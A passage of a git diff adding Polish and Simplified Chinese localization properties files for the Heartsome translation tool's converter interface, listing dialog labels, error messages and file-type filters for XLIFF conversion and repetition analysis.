+Convert2xliff.146=Pliki XML [*.xml] +Convert2xliff.147=Wszystkie pliki [*.*] +Convert2xliff.149=Wybierz plik SRX. +Convert2xliff.151= +Convert2xliff.153= +Convert2xliff.156= +Convert2xliff.157= +Convert2xliff.158= +Convert2xliff.17=Konwersja plik\u00F3w +Convert2xliff.171= +Convert2xliff.175= +Convert2xliff.18=Plik \u017Ar\u00F3d\u0142owy +Convert2xliff.180= +Convert2xliff.181= +Convert2xliff.182= +Convert2xliff.183= +Convert2xliff.189= +Convert2xliff.195= +Convert2xliff.20=Przegl\u0105daj... +Convert2xliff.207= +Convert2xliff.208= +Convert2xliff.209= +Convert2xliff.210= +Convert2xliff.211= +Convert2xliff.212= +Convert2xliff.220= +Convert2xliff.222= +Convert2xliff.225= +Convert2xliff.229= +Convert2xliff.26=Plik XLIFF +Convert2xliff.27=Przegl\u0105daj... +Convert2xliff.32=W\u0142a\u015Bciwo\u015Bci pliku \u017Ar\u00F3d\u0142owego +Convert2xliff.33=Typ pliku +Convert2xliff.34=J\u0119zyk +Convert2xliff.35=Strona kodowa +Convert2xliff.36=Opcje konwersji +Convert2xliff.37=Segmentacja akapitu +Convert2xliff.38=Ko\u0144cz segment po ka\u017Cdym znaku CR/LF (Zwyk\u0142y tekst) +Convert2xliff.39=Do\u0142\u0105cz szkielet do pliku XLIFF +Convert2xliff.40=Opcje t\u0142umaczenia +Convert2xliff.41=Dodaj t\u0142umaczenie +Convert2xliff.42=T\u0142umacz z uwzgl\u0119dnieniem wielko\u015Bci liter +Convert2xliff.43=U\u017Cyj podr\u0119cznej TM +Convert2xliff.45=J\u0119zyk t\u0142umaczenia +Convert2xliff.46=Baza TM +Convert2xliff.47=Podr\u0119czna baza TM +Convert2xliff.48=Minimalny procent dopasowania +Convert2xliff.65=Maksymalna liczba dopasowa\u0144 +Convert2xliff.77=Otw\u00F3rz plik XLIFF po konwersji +Convert2xliff.78=Konwertuj na format XLIFF +Convert2xliff.80=Wybierz plik do konwersji. +Convert2xliff.82=Okre\u015Bl nazw\u0119 konwertowanego pliku. +Convert2xliff.83=Wybierz inn\u0105 nazw\u0119 konwertowanego pliku. +Convert2xliff.85=Wybierz j\u0119zyk dokumentu. +Convert2xliff.87=Wybierz stron\u0119 kodow\u0105. +Convert2xliff.89=Wybierz j\u0119zyk t\u0142umaczenia. +Convert2xliff.91=Wybierz baz\u0119 TM. +Convert2xliff.93=Wybierz j\u0119zyk t\u0142umaczenia. +Convert2xliff.95=Wybierz baz\u0119 podr\u0119cznej TM. +Convert2xliff.96=Zamknij +ConvertProjects.0=Konwertuj plik na format XLIFF +ConvertProjects.1=Plik projektu +ConvertProjects.10=T\u0142umacz z uwzgl\u0119dnieniem wielko\u015Bci liter +ConvertProjects.103=Konwersja zako\u0144czona. +ConvertProjects.104=Regu\u0142y SRX +ConvertProjects.105=Przegl\u0105daj... +ConvertProjects.11=Dodaj t\u0142umaczenie +ConvertProjects.110=Pliki SRX [*.srx] +ConvertProjects.112=Wszystkie pliki [*.*] +ConvertProjects.116=Projekt jest niekompletny. Nie wpisano nazwy pliku \u017Ar\u00F3d\u0142owego. +ConvertProjects.12=U\u017Cyj podr\u0119cznej TM +ConvertProjects.120=Projekt jest niekompletny. Nie podano formatu pliku. +ConvertProjects.124=Projekt jest niekompletny. Nie okre\u015Blono strony kodowej pliku \u017Ar\u00F3d\u0142owego. +ConvertProjects.128=Projekt jest niekompletny. Nie okre\u015Blono j\u0119zyka \u017Ar\u00F3d\u0142owego. +ConvertProjects.13=Opcje t\u0142umaczenia +ConvertProjects.132=Projekt jest niekompletny. Nie okre\u015Blono strony kodowej pliku t\u0142umaczenia. +ConvertProjects.136=Projekt jest niekompletny. Nie okre\u015Blono j\u0119zyka t\u0142umaczenia. +ConvertProjects.14=Baza TM +ConvertProjects.140=Projekt jest niekompletny. Nie okre\u015Blono nazwy pliku t\u0142umaczenia. +ConvertProjects.144=Projekt jest niekompletny. Nie podano nazwy pliku XLIFF. +ConvertProjects.147=Scal pliki projektu +ConvertProjects.148=Plik XLIFF +ConvertProjects.149=Przegl\u0105daj... +ConvertProjects.15=Minimalny procent dopasowania +ConvertProjects.155=Pliki XLIFF [*.xlf] +ConvertProjects.156=Wszystkie pliki [*.*] +ConvertProjects.158=Wybierz plik XLIFF. +ConvertProjects.161= +ConvertProjects.170= +ConvertProjects.182= +ConvertProjects.185= +ConvertProjects.187= +ConvertProjects.188= +ConvertProjects.189= +ConvertProjects.190= +ConvertProjects.198= +ConvertProjects.2=Przegl\u0105daj... +ConvertProjects.225= +ConvertProjects.235= +ConvertProjects.241= +ConvertProjects.3=Pliki projekt\u00F3w [*.xlp] +ConvertProjects.32=Maksymalna liczba dopasowa\u0144 +ConvertProjects.4=Wybierz baz\u0119 danych TM. +ConvertProjects.44=Podr\u0119czna baza TM +ConvertProjects.45=Konwertuj pliki +ConvertProjects.47=Wybierz projekt do konwersji +ConvertProjects.5=Wszystkie pliki [*.*] +ConvertProjects.50=Zamknij +ConvertProjects.52=Niew\u0142a\u015Bciwy typ pliku. +ConvertProjects.53=B\u0142\u0105d podczas otwierania bazy danych\: {0} +ConvertProjects.57=Konwertuj pliki projektu na format XLIFF +ConvertProjects.58=Trwa konwertowanie... +ConvertProjects.6=Wybierz baz\u0119 podr\u0119cznej TM. +ConvertProjects.8=Segmentacja akapitu +ConvertProjects.83=TM +ConvertProjects.89=B\u0142\u0105d podczas t\u0142umaczenia dokumentu\: {0} +ConvertProjects.9=Ko\u0144cz segment po ka\u017Cdym znaku CR/LF (Zwyk\u0142y tekst) +ConvertProjects.91=T\u0142um. z podr\u0119cznej +ConvertProjects.99=B\u0142\u0105d podczas zamykania bazy danych\: {0} +FileFormats.0=Pliki HTML [*.htm, *.html] +FileFormats.1=Pliki JavaScript [*.js] +FileFormats.10=Pliki Abiword [*.abw] +FileFormats.11=Pliki SVG (Skalowana grafika wektorowa) [*.svg] +FileFormats.12=Pliki OpenOffice 2.0 [*.odt,*.ods,*.odp,*.odg] +FileFormats.15=Pliki TTX [*.ttx] +FileFormats.17=Pliki wymiany Adobe InDesign [*.inx] +FileFormats.18=Pliki ResX (Windows .NET Resources) [*.resx] +FileFormats.19=Pliki RC (Windows C/C++ Resources) [*.rc] +FileFormats.2=Pliki Java Properties [*.properties] +FileFormats.20=Pliki RC (Windows C/C++ Resources) [*.rc] +FileFormats.21= +FileFormats.22= +FileFormats.23= +FileFormats.24= +FileFormats.25= +FileFormats.26= +FileFormats.27= +FileFormats.28= +FileFormats.29= +FileFormats.3=Pliki MIF (Format wymiany Frame Maker) [*.mif] +FileFormats.30= +FileFormats.31= +FileFormats.32= +FileFormats.33= +FileFormats.34= +FileFormats.4=Pliki OpenOffice 1.x [*.sxw,*.sxc,*.sxi,*.sxd] +FileFormats.5=Pliki tekstowe [*.txt] +FileFormats.6=Pliki PO (Obiekty przeno\u015Bne) [*.pot,*.po] +FileFormats.7=Pliki RTF (Wzbogacony format tekstowy) [*.rtf] +FileFormats.8=Pliki XML [*.xml] +FileFormats.9=Wszystkie pliki [*.*] +FileFormatsSupportMsOffice.26= +FileFormatsSupportMsOffice.28= +RepetitionAnalysis.0=Analiza powt\u00F3rze\u0144 +RepetitionAnalysis.1=Nazwa projektu +RepetitionAnalysis.106=SUMA +RepetitionAnalysis.11=Wyrazy +RepetitionAnalysis.116=Analiza na podstawie wyraz\u00F3w +RepetitionAnalysis.120=Dokument +RepetitionAnalysis.122=Nowy +RepetitionAnalysis.124=100% +RepetitionAnalysis.126=Powt\u00F3rzenia +RepetitionAnalysis.128=95-99% +RepetitionAnalysis.130=85-94% +RepetitionAnalysis.132=75-84% +RepetitionAnalysis.132b=50-74% +RepetitionAnalysis.134=SUMA +RepetitionAnalysis.163=SUMA +RepetitionAnalysis.175=Analiza stanu t\u0142umaczenia +RepetitionAnalysis.179=Dokument +RepetitionAnalysis.181=Nieprzet\u0142umaczone +RepetitionAnalysis.183=Przet\u0142umaczone +RepetitionAnalysis.185=Zatwierdzone +RepetitionAnalysis.187=Niezatwierdzone +RepetitionAnalysis.189=SUMA +RepetitionAnalysis.2=Przegl\u0105daj... +RepetitionAnalysis.203=SUMA +RepetitionAnalysis.21=Anuluj +RepetitionAnalysis.213=Komentarze\: +RepetitionAnalysis.216=Powt.wewn. +RepetitionAnalysis.218=Powt\u00F3rzenie wewn\u0119trzne \= Powt\u00F3rzenie segmentu w jednym dokumencie +RepetitionAnalysis.221=Powt.zewn. +RepetitionAnalysis.223=Powt\u00F3rzenie zewn\u0119trzne \= Powt\u00F3rzenie segmentu we wszystkich dokumentach +RepetitionAnalysis.232=Sprawdzanie segment\u00F3w... +RepetitionAnalysis.233=Plik\: {0} +RepetitionAnalysis.234=Sprawdzanie powt\u00F3rze\u0144 segment\u00F3w... +RepetitionAnalysis.236=Analiza na podstawie segment\u00F3w... +RepetitionAnalysis.238=Analiza na podstawie wyraz\u00F3w... +RepetitionAnalysis.240=Stan t\u0142umaczenia segment\u00F3w... +RepetitionAnalysis.242=Stan t\u0142umaczenia wyraz\u00F3w... +RepetitionAnalysis.243=Data +RepetitionAnalysis.244=Opis +RepetitionAnalysis.245=Nie zdefiniowano domy\u015Blnej przegl\u0105darki dla plik\u00F3w HTML. +RepetitionAnalysis.26=Analiza TM pliku {0} +RepetitionAnalysis.29=Analiza TM projektu {0} +RepetitionAnalysis.3=Pliki projekt\u00F3w [*.xlp] +RepetitionAnalysis.4=Wszystkie pliki [*.*] +RepetitionAnalysis.6=Segmenty +RepetitionAnalysis.62=Analiza powt\u00F3rze\u0144 +RepetitionAnalysis.70=Analiza na podstawie segment\u00F3w +RepetitionAnalysis.74=Dokument +RepetitionAnalysis.76=Nowy +RepetitionAnalysis.78=Dopasowania +RepetitionAnalysis.8=Wy\u015Bwietl raport +RepetitionAnalysis.80=Powt.wewn. +RepetitionAnalysis.82=Powt.zewn. +RepetitionAnalysis.84=SUMA +RepetitionAnalysis.9=Wybierz plik projektu. +ReverseConversion.0=Nieprawid\u0142owe lub brakuj\u0105ce znaczniki. Kontynuowa\u0107 mimo to? +ReverseConversion.1=Pliki XLIFF [*.xlf] +ReverseConversion.10=Nieobs\u0142ugiwany plik XLIFF. +ReverseConversion.12=Skonwertowano plik +ReverseConversion.13=Przegl\u0105daj... +ReverseConversion.133=Zapisywanie t\u0142umacze\u0144 +ReverseConversion.136=W\u0142a\u015Bciwo\u015Bci pliku XLIFF +ReverseConversion.137=Format orygina\u0142u\: {0} +ReverseConversion.138=J\u0119zyk \u017Ar\u00F3d\u0142owy\: {0} +ReverseConversion.139=J\u0119zyk t\u0142umaczenia\: {0} +ReverseConversion.140=Strona kodowa orygina\u0142u\: {0} +ReverseConversion.141=Typ szkieletu\: {0} +ReverseConversion.142=Analizuj plik XLIFF +ReverseConversion.144=Wybrany plik nie jest prawid\u0142owym dokumentem XLIFF. +ReverseConversion.157=Podziel plik XLIFF przed pr\u00F3b\u0105 konwersji na format orygina\u0142u. +ReverseConversion.158=Nieobs\u0142ugiwany format pliku. +ReverseConversion.159=Nieobs\u0142ugiwany format pliku. +ReverseConversion.160=Zewn\u0119trzny +ReverseConversion.161=Wewn\u0119trzny - do\u0142\u0105czony +ReverseConversion.162=Brak danych szkieletu +ReverseConversion.163=Brak danych szkieletu +ReverseConversion.171=Nieznany +ReverseConversion.176=Nieznany b\u0142\u0105d. +ReverseConversion.177=Nie okre\u015Blono j\u0119zyka. +ReverseConversion.178=Nie okre\u015Blono j\u0119zyka. +ReverseConversion.179= +ReverseConversion.18=Zapisz t\u0142umaczenie w bazie TM +ReverseConversion.185= +ReverseConversion.191= +ReverseConversion.192= +ReverseConversion.193= +ReverseConversion.194= +ReverseConversion.195= +ReverseConversion.196= +ReverseConversion.2=Wszystkie pliki [*.*] +ReverseConversion.20=Konwertuj plik na format orygina\u0142u +ReverseConversion.200= +ReverseConversion.210= +ReverseConversion.214= +ReverseConversion.22=Wybierz plik do konwersji. +ReverseConversion.234= +ReverseConversion.24=Okre\u015Bl nazw\u0119 konwertowanego pliku. +ReverseConversion.25=Wybierz inn\u0105 nazw\u0119 konwertowanego pliku. +ReverseConversion.263= +ReverseConversion.264= +ReverseConversion.27=Wybierz stron\u0119 kodow\u0105. +ReverseConversion.279= +ReverseConversion.280= +ReverseConversion.281= +ReverseConversion.283= +ReverseConversion.284= +ReverseConversion.285= +ReverseConversion.286= +ReverseConversion.3=Konwersja plik\u00F3w +ReverseConversion.30=Zamknij +ReverseConversion.35=Konwersja plik\u00F3w +ReverseConversion.36=Przetwarzanie... +ReverseConversion.4=Plik XLIFF +ReverseConversion.46=Konwersja zako\u0144czona. +ReverseConversion.47=Nieznany b\u0142\u0105d. +ReverseConversion.48=Otw\u00F3rz plik po konwersji +ReverseConversion.5=Przegl\u0105daj... +ReverseConversion.6=Istniej\u0105 r\u00F3\u017Cnice pocz\u0105tkowych lub ko\u0144cowych spacji. Kontynuowa\u0107 mimo to? +ReverseConversion.87=Istniej\u0105 niezatwierdzone segmenty Kontynuowa\u0107 mimo to? +ReverseProjects.0=Konwertuj pliki projektu na format orygina\u0142u +ReverseProjects.1=Plik projektu +ReverseProjects.11=Wybierz plik projektu. +ReverseProjects.13=Wybierz baz\u0119 danych TM. +ReverseProjects.14=Zamknij +ReverseProjects.15=Brak dost\u0119pnych baz. +ReverseProjects.17=Wybrany plik nie jest projektem t\u0142umaczeniowym. +ReverseProjects.18=Konwersja projektu +ReverseProjects.19=Przetwarzanie... +ReverseProjects.2=Przegl\u0105daj... +ReverseProjects.3=Pliki projekt\u00F3w [*.xlp] +ReverseProjects.33=Konwersja zako\u0144czona. +ReverseProjects.4=Wszystkie pliki [*.*] +ReverseProjects.8=Zapisz t\u0142umaczenia w bazie TM +ReverseProjects.9=Konwertuj pliki na format orygina\u0142u +UnexistentSegment.0=\u017B\u0105dany segment nie istnieje w pliku szkieletu. +WrongFileException.0=Niew\u0142a\u015Bciwy typ pliku. diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion_zh-cn.properties b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion_zh-cn.properties new file mode 100644 index 0000000..1edc3f6 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/conversion_zh-cn.properties @@ -0,0 +1,306 @@ +#Created by JInto - www.guh-software.de +#Tue Jan 05 15:53:36 GMT+08:00 2010 +Convert2xliff.0=XLIFF \u6587\u4EF6 [*.xlf] +Convert2xliff.1=\u6240\u6709\u6587\u4EF6 [*.*] +Convert2xliff.118=\u6B63\u5728\u8F6C\u6362\u4E3A XLIFF \u683C\u5F0F +Convert2xliff.120=\u7FFB\u8BD1\u6587\u6863\u65F6\u51FA\u73B0\u9519\u8BEF\uFF1A{0} +Convert2xliff.122=\u4ECE\u8BB0\u5FC6\u5E93\u8BFB\u53D6\u7FFB\u8BD1 +Convert2xliff.124=\u7FFB\u8BD1\u6587\u6863\u65F6\u51FA\u73B0\u9519\u8BEF\uFF1A{0} +Convert2xliff.128=\u5FEB\u901F\u7FFB\u8BD1 +Convert2xliff.130=\u7FFB\u8BD1\u6587\u6863\u65F6\u51FA\u73B0\u9519\u8BEF\uFF1A{0} +Convert2xliff.132=\u6B63\u5728\u5D4C\u5165\u9AA8\u67B6 +Convert2xliff.133=\u5D4C\u5165\u9AA8\u67B6\u65F6\u51FA\u73B0\u9519\u8BEF\uFF1A{0} +Convert2xliff.135=\u8F6C\u6362\u5B8C\u6210\u3002 +Convert2xliff.138=\u5206\u6BB5\u9009\u9879 +Convert2xliff.139=SRX \u89C4\u5219 +Convert2xliff.140=\u6D4F\u89C8... +Convert2xliff.145=SRX \u6587\u4EF6 [*.srx] +Convert2xliff.146=XML \u6587\u4EF6 [*.xml] +Convert2xliff.147=\u6240\u6709\u6587\u4EF6 [*.*] +Convert2xliff.149=\u8BF7\u9009\u62E9 SRX \u6587\u4EF6\u3002 +Convert2xliff.151=\u53C2\u8003\u7FFB\u8BD1\u8BB0\u5FC6\u5E93 +Convert2xliff.153=\u8BBE\u7F6E\u9879\u76EE\u8BE6\u7EC6\u4FE1\u606F +Convert2xliff.156=\u6B63\u5728\u7FFB\u8BD1... +Convert2xliff.157=\u7FFB\u8BD1\u6587\u4EF6\u65F6\u51FA\u73B0\u672A\u77E5\u7684\u9519\u8BEF\u3002 +Convert2xliff.158=\u6587\u4EF6\u4F4D\u7F6E +Convert2xliff.17=\u6587\u4EF6\u8F6C\u6362 / \u6DFB\u52A0\u7FFB\u8BD1 +Convert2xliff.171=\u6807\u8BB0\u4E3A\u4E0D\u53EF\u7FFB\u8BD1 +Convert2xliff.175={0} \u5DF2\u5B58\u5728\uFF0C\u662F\u5426\u8981\u8986\u76D6\uFF1F +Convert2xliff.18=\u6E90\u6587\u4EF6 +Convert2xliff.180=\u5728\u201COpenOffice \u914D\u7F6E\u201D\u5BF9\u8BDD\u6846\u4E2D\u6307\u5B9A\u7684 OpenOffice \u8DEF\u5F84\u4E0D\u6B63\u786E\u3002 +Convert2xliff.181=\u8BF7\u5148\u66F4\u6B63\u6B64\u9519\u8BEF\uFF0C\u81EA\u52A8\u8F6C\u6362\u529F\u80FD\u624D\u80FD\u6B63\u5E38\u4F7F\u7528\u3002 +Convert2xliff.182=\u5728\u201COpenOffice \u914D\u7F6E\u201D\u5BF9\u8BDD\u6846\u4E2D\u6307\u5B9A\u7684 OpenOffice \u8DEF\u5F84\u4E0D\u6B63\u786E\u3002 +Convert2xliff.183=\u60A8\u9700\u8981\u66F4\u6B63\u6B64\u9519\u8BEF\uFF0C\u81EA\u52A8\u8F6C\u6362\u529F\u80FD\u624D\u80FD\u6B63\u5E38\u4F7F\u7528\uFF1B\u6216\u8005\u60A8\u60F3\u7565\u8FC7 OpenOffice \u81EA\u52A8\u8F6C\u6362\uFF0C\u7EE7\u7EED\u5C06\u6B64\u6587\u4EF6\u8F6C\u6362\u4E3A XLF \u683C\u5F0F\uFF1F +Convert2xliff.189=\u4F7F\u7528 OpenOffice \u81EA\u52A8\u8F6C\u6362\u6587\u4EF6\u65F6\u51FA\u9519\u3002 +Convert2xliff.195=\u4F7F\u7528 OpenOffice \u81EA\u52A8\u8F6C\u6362\u6587\u4EF6\u65F6\u51FA\u9519\u3002 +Convert2xliff.20=\u6D4F\u89C8... +Convert2xliff.207=100% \u5339\u914D +Convert2xliff.208=\u91CD\u590D\u7684\u6587\u672C\u6BB5 +Convert2xliff.209=\u4E0A\u4E0B\u6587\u5339\u914D +Convert2xliff.210=Trados \u4E0A\u4E0B\u6587\u5339\u914D\u6587\u672C\u6BB5 +Convert2xliff.211=Trados \u4E0A\u4E0B\u6587\u5339\u914D\u6587\u672C\u6BB5 +Convert2xliff.212=Trados \u4E0A\u4E0B\u6587\u5339\u914D\u6587\u672C\u6BB5 +Convert2xliff.220=\u8986\u76D6\u73B0\u6709 100\uFF05 \u5339\u914D +Convert2xliff.222=\u6DFB\u52A0\u7FFB\u8BD1\u5230 XLIFF \u6587\u4EF6\u4E2D... +Convert2xliff.225=\u6DFB\u52A0\u7FFB\u8BD1\u5B8C\u6210\u3002 +Convert2xliff.229=\u83B7\u53D6\u6570\u636E\u5E93\u5217\u8868\u5931\u8D25\u3002 +Convert2xliff.26=XLIFF \u6587\u4EF6 +Convert2xliff.27=\u6D4F\u89C8... +Convert2xliff.32=\u6E90\u6587\u4EF6\u5C5E\u6027 +Convert2xliff.33=\u6587\u4EF6\u7C7B\u578B +Convert2xliff.34=\u8BED\u8A00 +Convert2xliff.35=\u7F16\u7801 +Convert2xliff.36=\u8F6C\u6362\u9009\u9879 +Convert2xliff.37=\u6309\u6BB5\u843D\u5206\u6BB5 +Convert2xliff.38=\u6309 CR/LF \u5206\u6BB5\uFF08\u7EAF\u6587\u672C\uFF09 +Convert2xliff.39=\u5C06\u9AA8\u67B6\u5D4C\u5165 XLIFF \u6587\u4EF6 +Convert2xliff.40=\u7FFB\u8BD1\u9009\u9879 +Convert2xliff.41=\u6DFB\u52A0\u7FFB\u8BD1 +Convert2xliff.42=\u7FFB\u8BD1\u533A\u5206\u5927\u5C0F\u5199 +Convert2xliff.43=\u4F7F\u7528\u5FEB\u8BD1\u529F\u80FD +Convert2xliff.45=\u76EE\u6807\u8BED\u8A00 +Convert2xliff.46=\u7FFB\u8BD1\u8BB0\u5FC6\u5E93 +Convert2xliff.47=\u5FEB\u8BD1\u8BB0\u5FC6\u5E93 +Convert2xliff.48=\u6700\u4F4E\u5339\u914D\u767E\u5206\u6BD4 +Convert2xliff.65=\u6700\u591A\u5339\u914D\u6570 +Convert2xliff.77=\u8F6C\u6362\u5B8C\u6210\u4E4B\u540E\u6253\u5F00 XLIFF \u6587\u4EF6 +Convert2xliff.78=\u5F00\u59CB +Convert2xliff.80=\u9009\u62E9\u8981\u8F6C\u6362\u7684\u6587\u4EF6\u3002 +Convert2xliff.82=\u4E3A\u8F6C\u6362\u540E\u7684\u6587\u4EF6\u9009\u62E9\u540D\u79F0\u3002 +Convert2xliff.83=\u4E3A\u8F6C\u6362\u540E\u7684\u6587\u4EF6\u53E6\u9009\u540D\u79F0\u3002 +Convert2xliff.85=\u9009\u62E9\u6587\u6863\u8BED\u8A00\u3002 +Convert2xliff.87=\u9009\u62E9\u7F16\u7801\u3002 +Convert2xliff.89=\u8BF7\u9009\u62E9\u76EE\u6807\u8BED\u8A00\u3002 +Convert2xliff.91=\u9009\u62E9\u7FFB\u8BD1\u8BB0\u5FC6\u5E93\u3002 +Convert2xliff.93=\u8BF7\u9009\u62E9\u76EE\u6807\u8BED\u8A00\u3002 +Convert2xliff.95=\u9009\u62E9\u5FEB\u8BD1\u8BB0\u5FC6\u5E93\u3002 +Convert2xliff.96=\u5173\u95ED +ConvertProjects.0=\u8F6C\u6362\u4E3AXLIFF\u683C\u5F0F / \u6DFB\u52A0\u7FFB\u8BD1 +ConvertProjects.1=\u6279\u5904\u7406\u6587\u4EF6 +ConvertProjects.10=\u7FFB\u8BD1\u533A\u5206\u5927\u5C0F\u5199 +ConvertProjects.103=\u8F6C\u6362\u5B8C\u6210\u3002 +ConvertProjects.104=SRX \u89C4\u5219 +ConvertProjects.105=\u6D4F\u89C8... +ConvertProjects.11=\u6DFB\u52A0\u7FFB\u8BD1 +ConvertProjects.110=SRX \u6587\u4EF6 [*.srx] +ConvertProjects.112=\u6240\u6709\u6587\u4EF6 [*.*] +ConvertProjects.116=\u6279\u5904\u7406\u6587\u4EF6\u4FE1\u606F\u4E0D\u5B8C\u6574\u3002\u6761\u76EE\u4E2D\u7F3A\u5C11\u6E90\u6587\u4EF6\u540D\u79F0\u3002 +ConvertProjects.12=\u4F7F\u7528\u5FEB\u8BD1\u529F\u80FD +ConvertProjects.120=\u6279\u5904\u7406\u6587\u4EF6\u4FE1\u606F\u4E0D\u5B8C\u6574\u3002\u6761\u76EE\u4E2D\u7F3A\u5C11\u6587\u4EF6\u683C\u5F0F\u3002 +ConvertProjects.124=\u6279\u5904\u7406\u6587\u4EF6\u4FE1\u606F\u4E0D\u5B8C\u6574\u3002\u6761\u76EE\u4E2D\u7F3A\u5C11\u6E90\u7F16\u7801\u3002 +ConvertProjects.128=\u6279\u5904\u7406\u6587\u4EF6\u4FE1\u606F\u4E0D\u5B8C\u6574\u3002\u6761\u76EE\u4E2D\u7F3A\u5C11\u6E90\u6587\u4EF6\u8BED\u8A00\u3002 +ConvertProjects.13=\u7FFB\u8BD1\u9009\u9879 +ConvertProjects.132=\u6279\u5904\u7406\u6587\u4EF6\u4FE1\u606F\u4E0D\u5B8C\u6574\u3002\u6761\u76EE\u4E2D\u7F3A\u5C11\u76EE\u6807\u7F16\u7801\u3002 +ConvertProjects.136=\u6279\u5904\u7406\u6587\u4EF6\u4FE1\u606F\u4E0D\u5B8C\u6574\u3002\u6761\u76EE\u4E2D\u7F3A\u5C11\u76EE\u6807\u6587\u4EF6\u8BED\u8A00\u3002 +ConvertProjects.14=\u7FFB\u8BD1\u8BB0\u5FC6\u5E93 +ConvertProjects.140=\u6279\u5904\u7406\u6587\u4EF6\u4FE1\u606F\u4E0D\u5B8C\u6574\u3002\u6761\u76EE\u4E2D\u7F3A\u5C11\u76EE\u6807\u6587\u4EF6\u540D\u79F0\u3002 +ConvertProjects.144=\u6279\u5904\u7406\u6587\u4EF6\u4FE1\u606F\u4E0D\u5B8C\u6574\u3002\u6761\u76EE\u4E2D\u7F3A\u5C11 XLIFF \u6587\u4EF6\u3002 +ConvertProjects.147=\u5408\u5E76\u6279\u5904\u7406\u6587\u4EF6 +ConvertProjects.148=XLIFF \u6587\u4EF6 +ConvertProjects.149=\u6D4F\u89C8... +ConvertProjects.15=\u6700\u4F4E\u5339\u914D\u767E\u5206\u6BD4 +ConvertProjects.155=XLIFF \u6587\u4EF6 [*.xlf] +ConvertProjects.156=\u6240\u6709\u6587\u4EF6 [*.*] +ConvertProjects.158=\u9009\u62E9 XLIFF \u6587\u4EF6\u3002 +ConvertProjects.161=\u6807\u8BB0\u4E3A\u4E0D\u53EF\u7FFB\u8BD1 +ConvertProjects.170=\u5206\u6BB5\u9009\u9879 +ConvertProjects.182=\u8F6C\u6362\u9009\u9879 +ConvertProjects.185={0} \u5DF2\u5B58\u5728\uFF0C\u662F\u5426\u8981\u8986\u76D6\uFF1F +ConvertProjects.187=100% \u5339\u914D +ConvertProjects.188=\u91CD\u590D\u7684\u6587\u672C\u6BB5 +ConvertProjects.189=\u4E0A\u4E0B\u6587\u5339\u914D +ConvertProjects.190=Trados \u4E0A\u4E0B\u6587\u5339\u914D\u6587\u672C\u6BB5 +ConvertProjects.198=\u8986\u76D6\u73B0\u6709 100\uFF05 \u5339\u914D\u3002 +ConvertProjects.2=\u6D4F\u89C8... +ConvertProjects.225=\u6DFB\u52A0\u7FFB\u8BD1\u5230 XLIFF \u6587\u4EF6\u4E2D... +ConvertProjects.235=\u6DFB\u52A0\u7FFB\u8BD1\u5B8C\u6210\u3002 +ConvertProjects.241=\u6DFB\u52A0\u7FFB\u8BD1\u5B8C\u6210\u3002 +ConvertProjects.3=\u6279\u5904\u7406\u6587\u4EF6 [*.xlp] +ConvertProjects.32=\u6700\u591A\u5339\u914D\u6570 +ConvertProjects.4=\u9009\u62E9\u7FFB\u8BD1\u8BB0\u5FC6\u5E93\u3002 +ConvertProjects.44=\u5FEB\u8BD1\u8BB0\u5FC6\u5E93 +ConvertProjects.45=\u5F00\u59CB +ConvertProjects.47=\u9009\u62E9\u6279\u5904\u7406\u6587\u4EF6\u3002 +ConvertProjects.5=\u6240\u6709\u6587\u4EF6 [*.*] +ConvertProjects.50=\u5173\u95ED +ConvertProjects.52=\u6587\u4EF6\u7C7B\u578B\u4E0D\u6B63\u786E\u3002 +ConvertProjects.53=\u6253\u5F00\u6570\u636E\u5E93\u65F6\u51FA\u73B0\u9519\u8BEF\uFF1A{0} +ConvertProjects.57=\u8F6C\u6362\u6279\u5904\u7406\u6587\u4EF6\u4E3A XLIFF \u683C\u5F0F +ConvertProjects.58=\u6B63\u5728\u8F6C\u6362... +ConvertProjects.6=\u9009\u62E9\u5FEB\u8BD1\u8BB0\u5FC6\u5E93\u3002 +ConvertProjects.8=\u6309\u6BB5\u843D\u5206\u6BB5 +ConvertProjects.83=\u7FFB\u8BD1\u8BB0\u5FC6\u5E93 +ConvertProjects.89=\u7FFB\u8BD1\u6587\u6863\u65F6\u51FA\u73B0\u9519\u8BEF\uFF1A{0} +ConvertProjects.9=\u6309 CR/LF \u5206\u6BB5\uFF08\u7EAF\u6587\u672C\uFF09 +ConvertProjects.91=\u5FEB\u901F\u7FFB\u8BD1 +ConvertProjects.99=\u5173\u95ED\u6570\u636E\u5E93\u65F6\u51FA\u73B0\u9519\u8BEF\uFF1A{0} +FileFormats.0=HTML \u6587\u4EF6 [*.htm, *.html] +FileFormats.1=JavaScript \u6587\u4EF6 [*.js] +FileFormats.10=Abiword \u6587\u4EF6 [*.abw] +FileFormats.11=SVG\uFF08\u53EF\u7F29\u653E\u77E2\u91CF\u56FE\u5F62\uFF09\u6587\u4EF6 [*.svg] +FileFormats.12=OpenOffice 2.0 \u6587\u4EF6 [*.odt,*.ods,*.odp,*.odg] +FileFormats.15=TTX \u6587\u4EF6 [*.ttx] +FileFormats.17=Adobe InDesign Interchange \u6587\u4EF6 [*.inx] +FileFormats.18=ResX\uFF08Windows .NET \u8D44\u6E90\uFF09\u6587\u4EF6 [*.resx] +FileFormats.19=RC\uFF08Windows C/C++ \u8D44\u6E90\uFF09\u6587\u4EF6 [*.rc] +FileFormats.2=Java Properties \u6587\u4EF6 [*.properties] +FileFormats.20=RC\uFF08Windows C/C++ \u8D44\u6E90\uFF09\u6587\u4EF6 [*.rc] +FileFormats.21=MS Office 2007 \u6587\u4EF6 [*.docx,*.xlsx,*.pptx,*.ppsx] +FileFormats.22=Adobe InDesign Interchange +FileFormats.23=HTML Page +FileFormats.24=JavaScript +FileFormats.25=Java Properties +FileFormats.26=MIF (Maker Interchange Format) +FileFormats.27=Microsoft Office 2007 \u6587\u6863 +FileFormats.28=OpenOffice \u6587\u6863 +FileFormats.29=\u7EAF\u6587\u672C +FileFormats.3=MIF (Maker Interchange Format) \u6587\u4EF6 [*.mif] +FileFormats.30=RC (Windows C/C++ Resources) +FileFormats.31=ResX (Windows .NET Resources +FileFormats.32=RTF (Rich Text Format) +FileFormats.33=XML \u6587\u6863 +FileFormats.34=XML (Generic) +FileFormats.4=OpenOffice 1.x \u6587\u4EF6 [*.sxw,*.sxc,*.sxi,*.sxd] +FileFormats.5=\u7EAF\u6587\u672C\u6587\u4EF6 [*.txt] +FileFormats.6=PO (Portable Objects) 